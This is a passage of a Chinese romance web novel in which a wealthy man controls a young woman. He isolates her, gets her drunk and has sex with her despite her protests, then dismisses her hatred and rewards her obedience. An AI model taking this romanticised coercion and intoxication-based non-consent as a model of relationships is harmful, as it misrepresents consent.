这时她就算是再迟钝,也能回过味来,陆明彰这是在晾着惩罚她。
她不怕他的惩罚,她担心的是,他现在在哪儿?什么时候回来?
会不会已经回A市了?
那自己怎么办呢?自己怎么回去?
他到底打算怎么处置自己?
宋辞音心里没个主意,想找苏念一商量,想起前两天说去参加封闭训练营,没办法用手机。
这个世界好像就剩下了她一个人。
被遗忘在世界角落,无人问津。
她自己也是可以买机票买火车票回家的,但她身份证不在身上。去补办身份证的话,工作人员会问问题的吧,怎么来的这里?她该如何解释怎么来的呢?毕竟她来的时候并没有经过任何官方程序。
这一切对她来说都是陌生和未知。
等待让时间变得无比漫长又煎熬,夜深了,她打开套间内所有的灯光,来抵挡内心的担忧。
宋辞音抱膝坐在沙发上,悄悄抹掉眼泪,看着窗外的夜色,这一刻,竟然无比期待开门的声音,期待陆明彰回来。
15. 第 15 章
他今晚应该不会回来了,宋辞音想。
点开手机,素净的聊天页面,只有添加时的通知,和孤零零一条信息。
是她中午时问:你什么时候带我回家呢?
大半天时间了,没有回复。
怎么回家?
家里怎么样了?
宋辞音关闭所有床帘,只留会客厅一盏小灯,疲倦躺在沙发上。
突然“咚”的一声,灯灭了,四周一片漆黑,她摸出手机,显示搜索不到房间无线网络。
停电了。
床帘紧闭,一丝光透不进,密不透风的黑像一只手抓进人眼眶里。
宋辞音能听到自己剧烈的心跳声。
大概是童年寄养在外公家时,年长的几位表姐经常播放恐怖片,阴暗封闭的室内,毛骨悚然的场景,吓得本就胆小的她一边捂着眼睛,一边哇哇大叫。
甚至有段时间,都不敢一个人进房间,尤其是天黑之后,小小的她望着漆黑的夜色呆若木鸡。
这样过了有一两年,宋母看女儿越来越不对劲,询问过后把几个侄女批评一顿,后来邻居提议,可以找神仙“叫一叫”,收收魂,小孩就正常了。
宋母采取了邻居的建议。
宋辞音至今还记得,妈妈带着她走到一个古怪的供奉香火的房间内,一位和蔼的奶奶摸着她的头,诵念听不懂的句子。
妈妈说叫过之后就不会害怕了。
不知是心理作用,还是神婆的法术奏效,从那之后,她确实好了很多,不至于连房屋都不敢进,不再对着黑夜呆呆傻傻。
但怕黑,尤其是怕室内黑的习惯,还是扎根在她生活里。
直到现在。
宋辞音去点手机手电筒,身体在发抖,一个没抓稳,手机滑落重摔在地板。
因为看不见,她只能试着用手去摸。
刚弯下腰,手肘“咚”一声不知撞到哪里。
“啊!”
她连痛呼都不敢叫大声,生怕打扰到隐匿在黑暗深处盯着她的一双眼睛。
宋辞音双手在空中摸索着,缓缓弯下腰,跪趴在地上。
恐怖画面在脑海不断想象、闪现,摸找手机的手畏畏缩缩,心中始终有一份担心,好像下一秒就会摸到什么“了不得的东西”。
心脏快要从胸口跳出来了,额头和后背被汗水打湿。
她告诉自己不能哭。
但眼泪实在太不争气了,是它们自己流出来的啊。
忽然,身后传来细微的响动。
宋辞音呆愣在原地,一动不动,连眼球都不敢晃动一下,虽然这么黑,本来什么也看不见。
不应该回头的,但不回头的话,未知的恐惧会让已存的恐惧,放大三倍。
她缓缓扭头。
一道光恰好扫射过来,照向她的眼睛。
宋辞音看到了光源后,举着手机的陆明彰。
手机在前,他的脸背光,五官轮廓晦暗难辨,皱眉的表情让他看起来很严肃冷酷。
好消息,有人来了。
坏消息,是恐怖的陆明彰。
宋辞音仍然觉得是好消息多一点,陆明彰是已知的恐惧,黑暗是未知的恐惧。
未知的恐惧更吓人不是吗。
而且他回来,就代表她可以回家的。
所以此刻的宋辞音是欣喜的,她竟然忍不住笑了,虽说脸上的泪还没干。
“你回来了。”她说。
借着他手机的光,看到摔在沙发脚的手机,捡起来,站起身。
“嘶……”她痛呼。
又撞到手臂了。
不过此刻心境大有不同,已经不像刚才那么疼了。
宋辞音看向他。
举着手机的男人似乎眉毛皱得更深了。
是还在因为那天的事生气吗?
宋辞音已经回味不到那日的情绪,她只想解决问题——千万千万不能被丢在这座陌生的县城。
她把手电筒打开,两束光,室内亮堂许多。
陆明彰已经坐在沙发上,双腿自然交叠,昏暗里不咸不淡的目光看向她。
像是思考。
宋辞音搓搓手,向前走了两步,头眼低垂,像是犯错做检讨的学生。
抬眼瞅了瞅他,又低头:“你还在生气吗?”
沙发上的人没直接回答,再说话,却是答非所问:“咳嗽好了?”
她迟钝点头:“好了。”
又问:“那你还在生气吗?”
真担心他说在生气啊,所以宋辞音学会先发制人:“那天的事,我后来好好反思了。”
“说。”只有简短的一个字。
“那天早上去楼下吃早餐,听了别人说我难听的话,我心里很不舒服,就不想再跟你出去,但我没直接告诉你,却说是自己不感兴趣,是假话。我应该说实话的。”
宋辞音小心打量他神色,见没什么表情,继续说:“跟刘教授去花卉中心,我应该先告诉你。”
“第三件事是,我说你认为送小男孩会让你得人心,这个也是完全错的,是我太自以为是了,你根本不需要,他们本来就是依赖你生存的。我这么说,既看清了你,也错怪了你的用心。”
她说完了,如履薄冰等待他的判决。
许久。
“嗯,今天是聪明的小姑娘。”
宋辞音愕然抬头,大概没想到竟然能从他嘴里听到赞许的话语,且不带一丝嘲讽。
男人眉目含笑。
强势和压迫性减退,好像又变成儒雅清俊的模样。
这让她放松掉几分戒备。
“今天看也不笨,以后再犯错,知道后果?”
无法回家的担忧恐惧太深刻,她乖顺点头。
“嘭”一声,应该是通电的声音。
来电了。
陆明彰站起来。
宋辞音以为他是要去重新刷下电,却见他是径直走向餐厅,取出一瓶酒和两个酒杯。
折返回来,再次坐在沙发上,拧开瓶盖。
“那我们什么时候回去呀?”
倒酒的人撩起眼皮凝了她一眼。
她立马慌了,他不会以为自己都是为了回家才说这么多的吧?
赶紧找补:“我想我爸妈了……”
陆明彰把一个高脚杯推到她跟前:“明天。”
“真的?”宋辞音难掩雀跃,眉毛都飞了起来。
哎,她暗暗又有点懊恼,太沉不住气了……
“嗯。”陆明彰端起酒杯,身体缓缓后仰,倚在沙发靠垫,看向她。
一定是因为没开灯,宋辞音觉得他的目光比任何一次都晦涩而深沉。
“陪我喝点。”他说,声音浑厚,带着蛊惑人心的力量。
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宋辞音哪里敢拒绝。
他还是要带他回家的。
她想,他也没有那么坏吧。
她几乎没沾过酒,液体在口中翻滚,红酒不似白酒辛辣,口感尚能接受。
不知不觉就喝了一杯。
陆明彰及时给他续上。
宋辞音想,他今天是很不一样,竟然主动倒酒,很有服务意识,简直不像他。
“这两天你们去哪儿了呢?”微醺上脑,脸也发烫,宋辞音认为自己应该说些什么,她爸爸和人喝酒时就不会干喝,会吃些下酒菜,一直聊天。
对面的人摇晃手中杯,双眼盯着她:“去隔壁市看了下工作,喜欢吃草莓吗?”
“喜……喜欢!”她的头好沉,点一下,就很重。
“以后让你吃够,还喜欢吃什么?”
“喜欢……我喜欢什么,都能吃到吗?”
“当然,吃最好的。”
“哦哦,哈哈,陆明彰你好有钱啊,太羡慕你了……”
陆明彰却有不同的感受。
钱,对于很多人来说,是人生坐标系里,最能衡量事物价值的东西,代表至高无上。
而对于他来说,钱是最不值一提的东西。
“只要你听话,你也会有钱,不光有钱。”他循循善诱。
听起来确实很有诱惑性。
但是,听话,又是听话。
宋辞音想说“不听话行不行”,所剩不多的理智阻止了她,心中有挥之不去的苦闷。
她又喝了一杯。
喝了心里就不难受了。
身体开始不舒服。
“陆明彰,你热吗,我有点热,我们要不要开空调啊。”
耳朵边有个声音:“冬天了不能开空调吧,热吗,把衣服tuo了吧。”
有道理。
宋辞音低头,借着微弱的光,看到自己身穿真丝睡裙。是李秀桦给她收拾的衣物。
她解开系带,睡裙被丢在沙发上。
身体也有些撑不住,躺倒在软垫,视线所到之处,万物迷离。
“陆明彰,我头也好晕,不该喝酒的,头很晕。”
被叫的人把酒杯扣在茶几:“去床上睡吧,去床上舒服点。”
“可是,我好像起不来了。”
话还未说完,已经被人打横抱起,她落在一个滚烫的怀抱里。
宋辞音被丢到床上。
哦,柔软的大床,她已经睡了两天沙发了,感受腰腹被支撑的柔软,她感觉到久违的舒适和安心。
随后陆明彰不知去了哪里,等他再回来时,卧室所有灯光骤然明亮。
突如其来的光亮让她不适应闭上眼,迷迷糊糊拿枕头挡在脸上。
下一刻,有人抓住了她的脚踝。
那只手很大,能把她整个脚踝握在掌心。
清晰的握力中似乎蕴藏着无穷的力量,让人胆战心惊。
宋辞音突然找回一丝清明,头依然昏昏的,一丝清明支撑她抬起头。
对上陆明彰直白放肆的眼睛。
“我还是去沙发睡吧……”她思维涣散嘟囔着,荒乱撑住床起身。
肩膀被人按住。
他居高临下望她,是最原始的男人看女人的眼神,不带任何修饰。
宋辞音无比确定他接下来要做什么。
彻底慌了。
16. 第 16 章
事态的发展已经无法挽回。
宋辞音痛苦地蜷起腰,双眼紧闭。
陆明彰托起她的后背,让她颈靠两个枕头,冷硬命令:“睁眼,看着。”
她恍惚撩起眼皮,泪珠争先恐后落在床单,浸湿一片片水花。
望着上方的主宰者,全身的力气和情绪支离破碎,凝结成一句话:“陆明彰,我恨你。”
她很少能从一个人脸上看到兼顾宽容和残忍的两种神色,陆明彰伸手摸了摸她的脸,情|欲下语气竟也缱绻:
“傻瓜,你的恨不值钱。”
省省力气吧,你的恨你的情绪,对他来说不值一提、无足轻重。
对他造不成任何伤害,也没有必要说得咬牙切齿、掷地有声。
在潮汐翻涌中,她无奈地闭上眼。
第一场草草结束。
……
一夜荒唐。
宋辞音也不知什么时间睡着的,睡得不踏实,梦里光怪陆离,一个个片段在脑海里闪现。
有寄养在外公家时一望无际的农田,和几位表姐紧挨着窝在阴暗房间内看鬼片。
有哥哥出车祸时妈妈哭肿的脸,她在耳边一声声喊:我儿子的人生毁了。
有在住在伯母家时被大人笑着说你爸妈不要你了,小小身影殷勤跑到厨房做饭。
画面一转,陆明彰在她头顶律动,他时而威严时而温柔,他说,笨蛋,你的恨不值钱。
宋辞音想,就算是不值钱,也要恨他的,应该恨他的。不然,自己还能做些什么呢?
她再醒来时,床头小灯发着萤光,艰难抬起手,摁开手机,显示已经上午十点多。
正在收拾行李的陆明彰察觉到她醒了,放下手里衣服,走到床边。
宋辞音不自觉握紧被套,把脸往被窝里埋,睁圆的眼水汪汪的,警惕地盯着他。
“醒了。”他看上去心情还不错,神采奕奕,嘴角上扬弧度若隐若现,“醒了就起吧,马上去机场。”
紧握被套的手缓缓松开,可以回家了。
宋辞音向上挪了下身子,身体的每一处异样,都在提醒她昨晚有多不堪回想。
她身上未着寸缕,四处张望了下,没看到任何一件衣服。
干脆继续躺在被窝里,等待陆明彰会出去。
陆明彰见她神色纠结一动不动,语气稍微缓和,有一丝关切:“不舒服?”
昨晚实在有点过火。彻底结束时,窗外已露肚白,他一夜未睡。
“没有。”宋辞音声音微弱,她不知怎么面对他,怎么开口,毕竟几个小时前还在诉斥对他的痛恨。
她脸红了又红,小声说:“我的衣服。”
陆明彰好像没听懂,示意卧室门旁边的行李箱,挑眉:“自己过来拿。”
宋辞音对他的怨念又多了一分,巴掌大的脸皱在一起。
被瞪着的人弯了弯嘴角。
房间内一时陷入沉默。
几分钟后,他走到行李箱跟前,垂眼,颇为认真地研究了下花花绿绿的衣物。
宋辞音突然后悔了。
陆明彰翻出一套浅紫色内衣裤,和红色毛衣裙。
三件衣服被他捏在手里,暧昧又违和,走向床。
宋辞音心里发慌发堵,把被子扯过头顶。
被子被拉开,陆明彰不给她做鸵鸟的机会。
她双臂横在前胸,委屈嗔怪的目光凝着他。
陆明彰矗立床头,把衣服丢在她身边,俯着头,视线至上而下,目色莫测:“换,给我看。”
……
宋辞音终于穿戴好,点开窗帘开关,阳光洒满伤心地。
等她洗漱完毕,陆明彰收拾好所有行李。
拉开套房大门,走廊里站着两位助理和酒店工作人员,不知他们静候了多久。
不知道他们会不会听到套房卧室的声音。
宋辞音像是做了亏心事,头垂得低低的,不敢去看任何人。
自有人接过他们的行李箱。
陆明彰走在最前面,一群人去向电梯。
和宋辞音一起去花卉中心的学生助理和她离得远远的,一个目光都不敢对视。
吴剑锋想到连夜被处理的两名工作人员,想到前天出发前,询问老板说,他表妹在市里读研究生,和宋小姐年纪相仿,需不需要让她过来陪宋小姐去景区逛一逛解闷。
当时老板怎么说的来着?说她有风寒咳嗽,静养吧。
电梯平缓下落。
吴建峰对于和老板的女人如何相处并无经验,和宋辞音之间保持绝对礼貌的距离。
“宋小姐,嗓子好了?”他恰当寒暄,不至于逾矩。
“好了,谢谢。”宋辞音点点头,露出一双清如温泉的杏眼。
吴建峰颔首回应,话题点到为止。
只是听着宋小姐声音有点沙哑,不像是好的样子。
两人对话收入王图南耳中,勾了勾一边唇角。
在飞机冲向高空,这座城在她视线内越来越小,变成一个点。
一个让人不开心的地方。
她看着窗外的云,不觉挂满了泪。
宋辞音被送到云岫山庄,也就是陆明彰的山上别墅。
李秀桦安排人从司机手里接过行李箱,拉着宋辞音的手上下端详:“怎么出去玩还瘦了,是不是瘦了?”
“可能是瘦了吧。”罪不及他人,她扯了扯嘴角,想笑一下,脸色憔悴惨白,比哭还难看。
“哎呦,太瘦了,明彰也想让你胖一点,还是要多补一补,一会儿让厨房给你做一些补品,也该让医生再来针灸一下了……飞机餐有什么好吃的,晚上要吃点什么呢?”李秀桦念叨着,把人引进正厅。
针对陆明彰让她多补一补长胖一些这件事,通过昨夜的一些细节,她有了新的认知和理解。
完全是为了满足他自己的私欲。
她不想和李秀桦继续深入这个话题,说了下自己不挑食就回房休息。
路过那间不让人进的卧室,宋辞音想,应该是陆明彰之前的女人住过的吧。
那个男人还说给他送过女人。
一点都不奇怪,这样精力充沛热爱工作的人,就是需求比较高。
她已经见识过了。
就是不知道他什么时候对她腻,什么时候结束畸形的关系。
宋辞音平常睡眠时间一般一天九个小时,昨夜不知折腾了多久,没有睡足,身体疲倦,她刚沾到床,又沉沉睡去。
再睁眼,就看到陆明彰坐在床边,一脸认真的端详她。<
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遮光床帘不仅遮住光线,昏暗状态柔和了他凌厉的脸部线条,更多添了几分深沉。
他没说话,伸手去掀被子。
宋辞音真的被吓到了,她紧紧按住丝被外围,底气不足斥怪:“你干什么?”
“什么也不干。”陆明彰目光灼灼,显得很好说话,“看看好了没有。”
他语气渐缓,似哄非哄:“听话。”
李秀桦听佣人说陆先生回来了,想到他不在的这些天,有很多文件送到家里等待过目和签字,其中有几份特别交待比较急迫。
把加急的几分单独整理出来,放在一起,去卧室拿给他看。
恰好发现卧室门没有关紧,一条缝隙泄露内部陈设,她自然不会直接进去,抬起手刚要敲门,突然听到房内传来阵阵低泣。
女子曼妙嗓音断断续续。
李秀桦老脸一红,赶忙轻轻阖上房门,轻手轻脚离开了。
宋辞音呼吸未定地躺在床上,身上很黏腻,但是她真的没有一丝翻身的力气。
陆明彰拢开她额前被汗打湿,一缕一缕的长发,露出红扑扑的小脸。
任他随心所欲,撩起眼皮瞪他,也是需要精力的。
手背传来清凉温润的触感,手腕上多了一只碧绿冰透的镯子。
她询问地看向他。
陆明彰莞尔:“这是奖励。戴着吧,很适合你。”
宋辞音心里感谢神仙菩萨,他幸亏没问喜不喜欢。
“再休息会儿,下楼吃晚饭。”或许是男人餍足后的大发慈悲,这次没有继续捉弄她,先离开,把空间留给她。
宋辞音看着手上种水色俱佳的翡翠手镯,不得不承认,确实很好看。
手镯被狠狠拔下。谁要他的奖励。
手镯被轻轻掷在床头柜。可以有意气,但不能意气用事,万一拍坏了,她又赔不起。
又休息了一会儿,宋辞音腹部开始抗议,她穿上衣服,饥肠辘辘下楼。
饭菜香气萦绕在餐厅。
宋辞音乖顺坐在陆明彰身边位置,已经成为不用纠正的习惯。
李秀桦面色如常,笑呵呵地询问她需求。
她是真饿了,一小碗饭很快下肚,要再吃一碗,叫桦姨时,看到身边的男人始终未动筷,一双深邃的眼睛紧随她的脸。
宋辞音第一反应是,脸上是有米粒吗,她不确定的摸了摸,什么也没有。
她假装未察觉,夹了一筷鱼肉,不经意往他方向一瞥,又低头。
他还在看。
心情好像不错?
宋辞音盘算,或许现在是个提要求的好时候。
“我……我明天可以回家一趟吗?爸妈打电话说,明天有家庭聚餐,要去奶奶家。”
“可以。”陆明彰答应很爽快,“晚上六点前回来吃晚餐,让司机送你。”
“不用了吧,我自己回去就行……”
他的车价值在那摆着,个个都很高调,要是让家人邻居看见了,她还活不活了。
陆明彰拿起筷子,平淡道,“从家里到路口五公里,也不好打车,你要,”幽沉目光落在她下半身,“用你的腿走?”
“别到时候一边哭一边说累。”
他似意有所指,宋辞音又悄悄红了脸。
17. 第 17 章
家庭聚餐的地方在宋辞音奶奶家,一座坐落在老城区旧街的四方小院。
“就停在这里吧,里面不好进,也不好倒车。”宋辞音坐在一辆迈巴赫后座,透过车窗谨慎注意街道上的行人。
宋老太太的街坊邻居,大多都认识她,她可不想被熟人撞见,而且她不好空手去,正好在大路的超市里买点营养品做伴手礼。
司机自然听从她的安排,靠边停下。
宋辞音手撑在车门,瞧着两边没什么人,快速推开车门,钻进超市的人流中。
买了两罐老年奶粉、两三样水果,她的手里只能提得动这些了。
在收银台买单,刚打开手机二维码,一张卡横在她视线。
宋辞音惊诧抬眼。
不知司机李师傅什么时候跟过来的,递给她一张卡。
他个子高高壮壮,笑起来很憨厚。
“宋小姐,陆先生吩咐过,不能让您买单。”
其实宋辞音刚去别墅时,陆明彰就给了她一张卡,只是那些天根本没有花钱的机会,她也不乐意用他的钱,所以那张卡还没有用过。
“你们快点啊,我们还等着结账呢。”后面排队的顾客在催。
宋辞音向后撤了一步:“你刷吧。”
收银员打印出小票,李师傅伸手去提台面的东西:“我送您。”
“不用,不用!”她抢先一步抓住提手,“不麻烦啦,我自己来就好,您请便,请便哈。”
她几乎是用跑的赶到老太太家门口,还没迈进,就听到院内传来的欢声笑语。
“奶奶。”
迈进院,说笑声瞬间静止,宋老太太坐在正房走廊的躺椅上,旁边有位背靠大门的年轻女子,听到门外打招呼声,缓缓转头。
宋辞音对上宋诗莹的视线,抿唇唤了一声姐。
“嗯,过来了啊。”宋诗莹目光至上而下打量一番,转回身。
宋老太太看着小孙女白嫩净润的脸,总觉得哪里和以前不一样了,尤其是一身水蓝色裙装,怎么看怎么得体适宜,像是为她量身定做,让原本就嫩芽似好看的人,出落得更标致了。
“辞丫头来了,好久没见你了,你爸妈没来啊?”
宋辞音乖巧地把礼品放在八仙桌上:“爸妈在看店,让我先过来陪奶奶。”
“你来就来了,带什么东西啊。”宋老太太对她这个乖巧老实的小孙女不算讨厌,“诗颖,你不是喜欢吃草莓吗,正好辞丫头带了。”
说罢朝宋辞音说道:“辞丫头,去把草莓洗一下,哎呦,快到中午了,咱们吃什么?”
“奶奶,本来我妈妈说过来做饭的,她有事儿可能抽不开身,要不让阿辞做吧,我最喜欢吃她做的糖醋排骨了,奶奶,您是不是也好久没尝阿辞的手艺了?”宋诗莹一脸期待。
“是好久没吃到辞丫头手艺了,辞丫头,你去做吧。”宋老太太目光又落回到大孙女脸上,“辞丫头做饭好吃,将来去了婆家人家说娘家人调教的好,你呀,以后就要吃亏咯。”
“吃亏就吃亏嘛,”宋诗莹撒娇地搂住老太太肩膀,“妹妹有好名声就够了。对了,一会儿吃饭的时候,我要宣布一个好消息。”
“奶奶期待哦。”
宋辞音的哥哥宋瑞阳行动不变不爱见人,很少过来,张雨婷不爱和他们家里亲戚相处,结婚后也很少过来,而宋父宋母要看店,所以每次只有宋辞音一个人过来。
宋母总是谆谆教诲:“阿辞啊,咱家每次只去一个人看望,比不过你大伯家,所以你要多干点活,多尽点孝心。”
宋辞音很少去思考谁吃亏谁占便宜,她本身就不是个爱计较的人,用苏念一话说,天生比较迟钝、散淡。
她走向厨房。
宋诗莹在讲好玩有趣的事儿,逗的老太太哈哈大笑。
以前也是这样,宋辞音父母带着宋瑞阳去了外地工作,她寄养在大伯母家,父母每个月给大伯母汇钱。
那时宋辞音上五年级,比灶台刚不了多少,早上起来做一家人的早饭。
她也想多睡会儿,偶尔晚起一次,就会被大伯母在亲戚邻居面前唠叨:“这丫头太懒了,诗颖马上要考初中,六年级正是要抓紧的时候,我让阿辞帮忙做做饭,那可难死咯,丫头懒得很呢。”
亲友邻居见到宋辞音就会教育两句:“小辞,你住在你大伯母家,就要有眼色一点的啊,你大伯母对你是有恩情的,你要有颗感恩的心,别嫌我唠叨,说这些都是为你好,你可要勤快一点。”
少时的宋辞音想不通一些道理,她也会怀疑,是不是自己太懒了,是不是自是不知感恩的坏小孩。
可是她还是很累,很伤心,于是她拨通了妈妈的电话,期待父母给她一些疼爱和力量,希望父母能把她也带走。
宋母说话比较急:“你怎么这么不懂事呢?你的转学手续不好办,来了也没地方住,再坚持一下,高中就可以住校了。”
宋父只会一遍一遍强调:“有眼色一点,多干点活。”
生活不值得她去深究,得过且过是她的宿命。
宋辞音做了避风塘炒虾、清蒸鱼、小炒黄牛肉、糖醋激励和白灼菜心,还有一道裙带豆腐汤。
饭菜上桌,大伯父大伯母踩着饭点赶到。
一家人热热闹闹地围在饭桌前。
宋辞音把厨房收拾干净,屁股刚沾到椅子,大伯母一脸兴奋道:“我本来因为有事过不来的,但实在想亲自给妈说这个好消息。”
大伯母故意卖关子停顿一下,瞥一眼宋辞音,对老太太笑着说:“妈,您孙女考上公务员了!”
“真的?”老太太惊喜地抓住大孙女手腕。
宋诗莹放下筷子,挺直背脊,眉宇尽是喜悦:“是真的,奶奶,考上了,第一名。”
“哎呦,祖宗保佑,祖宗保佑,我大孙女太厉害了,怎么这么棒呢!奶奶都不知道该奖励你什么好了,你要让奶奶好好想一想!”突然又想到什么,凝肃问,“和张家的,是一个单位吗?”
张家的,指的是宋诗莹的男朋友张友信,父母都是机关单位,他去年考上了财政局。宋诗莹去年没考上公务员,以至于两人的婚事暂时搁浅。
“不是一个单位奶奶,但是都差不多。”宋诗莹喝水,杯子遮挡不住脸上的笑。
“妥了,那妥了!”
宋老太太笑,大家心里都明镜似的
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,不光是工作妥了,宋诗莹的婚事也妥了。
张家条件好,是高嫁呢。
在几人祥和喜悦中,宋辞音忽然被点名,只见宋诗莹一脸认真:“阿辞,你不为我高兴吗?”
“我当然为你高兴。”宋辞音说,“祝贺你,双喜临门。”
彼此心照不宣的东西忽然被点破,宋诗莹脸上闪过一丝羞赧,最终也只是得意撇撇嘴:“谢谢啦,也祝你早点安稳下来。”
安稳,指工作,指婚恋。
宋辞音有些心虚,低头夹菜:“我不急……”
说到这里,大伯母来了性质:“听你奶奶说,阿辞在装修公司上班啊?那一个月能领多少钱?能稳定的吗?”
“怎么能稳定?”大伯父接过话,“不是什么好单位,女孩子啊,还是要早早的考个好单位,找个好男人嫁了。虽然你不比你姐聪明,但也应该努力试试看啊。”
“是啊,是啊。”大伯母点头,“你家情况本来就很糟糕,你这样下去,以后会很麻烦的,一辈子吃不完的苦。”
“好了,爸妈,你们别说阿辞了。”宋诗莹矜持地笑了笑,“阿辞不擅长学习,让她考是考不上的,在个小单位上班也挺好的。”
大伯母没忍住笑出声,欣慰地给女儿夹了好几筷子菜。
宋辞音默默吃菜,心想要是他们知道,她的工作早没了,更不知做何感想怎么笑话她呢。
“阿辞跟诗莹比,哎……”宋老太太眼看小孙女一副呆呆的样子,就气不打一处来,扭过头又给大孙女加了好多菜。
“我本来还要减肥呢,你们一直给我夹,我都吃不完了。”宋诗莹甜蜜地撒娇。
“减什么肥,你都瘦成什么样了,一会儿回家啊,把那些水果都拿回家,慢慢吃!”宋老太太说着,眼神示意八仙桌上宋辞音带来的满满当当水果。
“好的,谢谢奶奶,还是您疼我。”宋诗莹甜甜地应,目光却是望着角落里埋头扒饭人的头顶。
宋辞音从宋老太太家离开,沿着街道漫无目的地走,来往过客匆匆,大家忙着为生计奔波,踏实而坚定。
六点前,司机准时把她送回别墅。
晚餐还未开始,宋辞音趴在游戏室玩了会积木,一会儿工夫搭建起一座城堡,又被她挥掌推倒。
有点无聊,浑身提不起精神。
门口传来佣人同陆明彰打招呼的声音,他回来了,察觉到脚步声靠近,宋辞音起身,在门口与他擦肩而过,没吭声。
又来到书房,宽大书桌上摆放一本《道德经》,她随手翻了几页,看得囫囵吞枣,词意生疏。
陆明彰推开书房的门,长身玉立停靠在一栋书架前。原本墨香四溢的空间,因高大冷峻的身影,立马变得局促而压迫感十足。
宋辞音沉闷得喘不过气,阖上书,心不在焉向外走。
陡然被抓住手腕。
把人拽到胸前,男人习惯性皱眉表情,眼睑低垂,沉静审视:“你在躲我?”
“啊,有吗?”宋辞音目光闪躲,“没有吧。”
“有没有,试试就知道。”
手掌滑过她的脖颈,捏住下巴向上提,不由分说吻下去。
18. 第 18 章
宋辞音的chun轻易被撬开,男人气息长驱直入,霸道搅动。
舌尖传来尖锐地刺痛,她全身力气瞬间被抽空。
只留一个空荡荡的躯壳,在身体瘫软向下坠时,扶住他的腰。
楼梯口传来脚步声,很轻,但在只有口舌触碰呼吸粗重的当下显得格外突兀。
脚步声越来越近了。
宋辞音闻声身体往后推,但后颈被人攥得紧紧的,丝毫动弹不得。
松开抓着他衬衫的布料的手,一下下拍打他横在腰间的手臂。
陆明彰置若罔闻,似乎为了惩罚她的不专心,摩挲在她腰间的手往下抻,在浑圆处,重重落下好几掌。
宋辞音着急,整个人是紧绷抗拒的姿态,重重咬了许多下。
脚步声消失了。
她被松开时,眼中已蓄满泪,滴滴凝住挂在泛红的眼眶里,羞愤嗔怒地瞪着他。
“刚才有人经过你知道吗?”泪珠随着表情的松动滚落,气鼓鼓的腮帮留下两行水痕。
陆明彰慵懒倚在门框,打眼瞧她,缓缓闭上眼,揉捏眉间:“知道。”
“你知道?”宋辞音难以置信,“你知道你还不松开我?”
男人落下手掌,不置可否。
“那那那,让人看见你……你你你,你太过分了!”
在宋辞音看来,被人看到亲密的行为(哪怕不是她自愿的),是非常羞耻,非常不应该的事情。
但陆明彰显然不把这种事放在心上,看他不表态的样子,对他来说压根就不算个事儿。
宋辞音从两人对待同一件事的态度上,感受到两人之间微妙的不同。
“你为什么这样啊……”
“说完了?”他霍然睁开眼,微微低头打量他。
黑色瞳仁显映出走廊的水晶灯光,像是深幽沉静夜里点燃的火把,能照亮人心最深的地方。
“你回家,是不是有人在你跟前说什么了?”
他一眨不眨地盯着她。
“没有。”她低头望向地面,数着脚下拖鞋上的颗颗碎钻,小声道,“我这样下去,总不是个办法,都找不到自己的价值了。”
“什么价值?”那双眼洞悉一切,浮上一层笑意,“一月七千的价值?”
宋辞音抬起头,对上他隐含嘲讽不屑的视线。
“对你来说一月七千啥也不是,但对我来说,也是成长的机会,所以,请你,不用反复提羞辱我。”
“小孩,你就是一小孩,我说你爱瞎想,一点都没说错。”陆明彰的背弯了弯。离她更近些,额头凑到她的额头前,“对你来说是羞辱,对我来说只是陈述事实。”
两种情绪感受之间的不同,来自于地位、权力、所拥有的客观差异。
宋辞音抿唇,头部往后移了移,不至于被他的碎发扎到皮肤上,怪痒的,“那还要谢谢你让我认清事实吗。”
楼下餐厅摆好饭了,香味传到二楼来。
陆明彰站直身体,一手插进西裤口袋,循循善诱:
“价值不只靠打工实现,你但凡聪明一点,多少价值实现不了,七千的无数倍。放长线钓大鱼,懂不懂?”
宋辞音执拗摇摇头:“有些钱能赚,有些钱赚了心里不踏实。我这样也挺好的,只是有点无聊。”
“这些天是有点忙。”陆明彰牵着她下楼,自动忽略前半句,“等空下来,可以好好陪你。”
“?”
“那也不用,我不是这个意思……”
一直到了夜里,男人不知疲倦的和她探讨关于人生价值的命题,并且一遍遍教她如何放长线钓大鱼。
云歇雨停,陆明彰丢进垃圾桶一团东西,“一会抱你洗吧。”
宋辞音尚有余韵,迷茫盯着房顶,说话有点喘:“你不是学中医的吗,纵yu伤身伤肾,比我还了解的吧?”
始作俑者脚踏在地毯,停下去洗澡的脚步。
她舔了舔唇,小心斟酌:“这样下去不好……吧?你肯定不想年纪轻轻就肾亏吧?”
陆明彰神情莫测,伸手爱怜地抚摸她红扑扑的脸蛋。
宋辞音疲倦撩起眼皮。
纸上而下的目光里升起一丝笑意,男人声音带着情事后的沙哑:“憋得太狠也伤身,这样刚刚好。”
她阖上眼,一秒也不想再看见他。
偏偏他还没说完,不急不缓道:“辛苦你适应下。”
宋辞音把丝被蒙在脸上,不说话了。
以后可怎么活啊……
时间过得也快,转瞬间已是半个月后。
这天陆明彰处理完最后一项任务,随着吴特助汽车离开别墅,他拧开娱乐室的门。
“走了,带你出去。”
这些天的相处,宋辞音对他有个大概了解,每日主线任务就是工作,工作,工作。到了晚上,再精力充沛地折腾她。
她没想到他会带他来博物馆。
是一座名气颇高,主要以明朝文物为主的展厅。
宋辞音心里疑惑,他带自己来这儿干嘛?
但她不敢问,因为一向冷肃的男人正对着橱柜里一只金累丝镶宝石带拧眉。
“这上面写的不对。”
“哪,哪里有问题吗?”
“孤品,瞎写,家里见过一样的。”
宋辞音:“……”
“不严谨。”他下结论。
宋辞音不管他,继续一个个观摩。
“这个。”他手点了点透明橱窗。
即使隔了几百年,镶嵌在金玉带上的宝石依旧闪闪发光。
“你家也有一模一样的?”
“不是。”陆明彰收回目光兴致缺缺,继续道,“家里比它大很多。”
宋辞音:“……”
她已经失去了说话的欲望。
“走吧,这里没什么意思。”陆明彰一向做事果决,珍惜时间,“没什么可看的,下次带你看家里藏品。”
从进馆到离开,耗时不过半小时,宋辞音就已又在路上。
这次车子停泊在本市最大的奢侈品商场,期间陆明彰接了一个电话,让她先上六楼等他。
这座商场宋辞音当然知道,但只进去过一次,是苏念一粉丝突破二十万,让好友陪同买了人生第一个奢侈品包。
宋辞音坐扶梯抵达六楼,四处张望寻找陆明彰说的店。
“阿音,果然是你。”宋诗莹挽着一男士臂弯,笑得温柔得体。
这人宋辞音有印象,应该是她男朋友,张什么友信。
“你一个人吗?”
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对于在此处碰见她呆呆的堂妹,宋诗莹很意外。
“啊,对,我随便逛逛。”宋辞音眼神不停瞅向直梯口,生怕陆明彰上来打照面。
躲闪的表情,在宋诗莹看来是心虚。
“你来这逛什么呢?这里的东西,你几个月的工资也买不起吧?”
